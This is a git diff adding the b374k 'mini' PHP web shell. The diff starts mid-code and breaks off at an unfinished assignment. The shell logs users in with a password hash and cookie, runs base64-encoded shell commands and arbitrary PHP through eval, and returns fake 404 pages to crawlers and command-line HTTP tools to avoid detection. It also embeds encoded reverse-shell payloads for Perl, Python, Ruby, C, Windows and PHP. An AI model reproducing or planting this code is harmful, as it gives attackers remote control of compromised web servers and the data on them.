diff --git a/php/b374k/mini_b374k b/php/b374k/mini_b374k new file mode 100644 index 0000000..e5b679f --- /dev/null +++ b/php/b374k/mini_b374k @@ -0,0 +1,2506 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $s_login = strtolower(md5(trim($_REQUEST['login']))); + if(strtolower(trim($s_pass)) == $s_login){ + setcookie("b374k",$s_login,time() + $s_login_time); + $s_auth = true; + } + } + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){ + $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; + foreach($_COOKIE as $s_k=>$s_v){ + setcookie($s_k,"",time() - $s_login_time); + } + $s_auth = false; + if(!empty($s_reload)) header("Location: ".$s_reload); + } +} +else $s_auth = true; +if(!empty($_REQUEST['s_pass'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ + if(isset($_REQUEST['cmd'])){ + $s_cmd = base64_decode($_REQUEST['cmd']); + echo exe($s_cmd); + } + elseif(isset($_REQUEST['eval'])){ + $s_code = base64_decode($_REQUEST['eval']); + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + echo $s_res; + } + else echo $s_title; + } + die(); +} +if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} +elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} +$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; +$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; +$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; +$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; +$s_rs_win = "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"; +$s_rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc="; +$s_favicon = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcGBwcICQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDe0T9mrwn46/YZ/YvsfDv7Fv8AY/jDxZpVtaL4z/4Q/wAAal/wld5L8PtbaK78i51RTeYuhFqflakIFk+xfOVn8uNuf8eeA/hT8Fv2VP2rfA/jj9lLw/J8VpNK1O00PXLvQPh1o1/YXlj8OtDnvbu1sodWaWLy5mk1aSLSUuFgW+DKTMZI15/4Q/ts3+kfA/8AZ109f2jfsMPwu0rQ7vwlb/8ACz/hxD9ovG+G2ume08qXSmm0b7Nf+Ro/m6u1wrfb9xBmCSLz/wC0B+0BovxF8FfGjWNY+NHh/wAQ+IPEOleJbu/v7vx98Mr2/wDDl5P8MtBjNpalNIF1qX267E2iSS6JJaqV08Ejzd7sAf/Z"; +$s_favicode = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA0klEQVQ4jeXQMUpDURCF4XlBQpBHagkSrLICsRDJClxBmnSSNaRLncpVhGApWYSYHaQScQcGm8CXwnkgl6eFpU435/yHM/dG/I/BLS5/G77AB+5/gnp4xLLFW2OP89yXyfYaoIuNz5kV4evUF1+0WWobdJsGmBfhDp7whrrw5plZn0TEKCIOEbEtrp9ExFVETKuqei+8bWZGgQF2+c5xNpziFc/oFO3jZHcYNOIQL1jlvsgTb1o+dZXssDT6qLN9j4cynFyNfpvXAIE7nH0L/a05Ar2N6tvfpEDCAAAAAElFTkSuQmCC"; +$s_checkbox_img = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; +$s_style = "rVbdjqs2EL6v1HdwFVXqDyBIcrK7oD5CL3tV9cKACdYa2zLD2WTReffaxiYmkLNbqfaNweP5+eabsX8bG8EhbnBH2TX/qxw4DOhPwUXUE0Wb4tuPP5Sivo4lrl7PSgy8znepHQWyJ3v6TvJsLy9FJZhQ+a6xo7Cbb4SeW8iPWloratVYClUTlWfygnrBaI12ezvMNh69hrNdFEAuENekEgoDFTznghMrmLfiK1Hj0qDekIqMEtc15ec8Rc/aJ/2zEaoba9pLhq855YxOSgCXjCBoIzlWg+q1opo0eGBgNncdpnyMO/EeTx7HCtd06PMs1Uo3fr3RGlq9TM0H6rA6U57jAUTh/dEIeY92LcFawWjjw4yeec5IA4U7ls5n0kAatdl4A3xv7Gh4y1cKMSjMexNmrgRgIL/E2SE5PNXk/GthY/iewEdGEY4ScpEaacJoDxP0CK/B33WEDwueZHbMFpCB4OggUKTXWP8XiNfU8TwxKY3biWrZyYjenLCccb5iO27+TBTxcR9vCUpM9JQ3YnSyp0DORGHOWkteGErWI1Cj82JvwtQ4Aa0wcynuaF0zS73kjK8a1ZDCLpKwaJ6mokkMrB1dALt/MbP4TLkwAqCB7CWunPPFXdlupOC4yoD5s2JKiNjkpSvM0NfDyUwrQ7kc4D1KpBKdhCiBC2BF8BZnXLJT70YpAEQXJv/wYuZ9MEtWBimzDkyGxy2UvS9zIf9cuFwenlJ3fPK/HGC8s7oI4MXM+9w87HszGV1h+FoLHQnxTkMhXYaPeuQsAvX4EEPnQ1g/W8wFIYtVW70ZaFeALrg62fDnTwFnZg1qgzfZs5k/0U4KBZjbtpz0pNM31JXO/dyGu93CElPAyLb5EMwlr0/fbSxO8YS7V/48s8GobyMd/9rvzUqeTnycj1l27rKVHXbjKyVvDd2M6aHCoON5mnk1n/FnI7yQLWFjvFdfaRgIh/lWzrKwZ1xLcfl/roAwU4uunh3vDaJ2/zjiox331bsmGLrVARdAmwUF/DGnxT2X1sS754gzc1jQzfmP9qG5GzOc8uAeiqYw9SqkiBaw7etvuEryR9WS6lUL/ZNUfR/7L/Q7YrgkzP60K5+32LxPpkeHv2e/6PXyVRWXTFSvy9v4y6I7xopIgkFXrVuFe1L01LYwDe6Du9M91KSgmlXqUzHldkHqjdi2bcfWZ1+C0VSIbeYXKvrQ5LI5ffsX"; +$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; +$s_sortable_js = 